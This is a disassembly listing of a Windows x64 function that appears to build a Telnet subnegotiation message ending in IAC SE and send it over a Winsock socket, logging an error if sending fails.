mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14003b592
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14003b592
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14003b592
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14003b592
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14003af50
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14003b5f4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140014fa0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14003b320
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14003b640
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140014fa0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret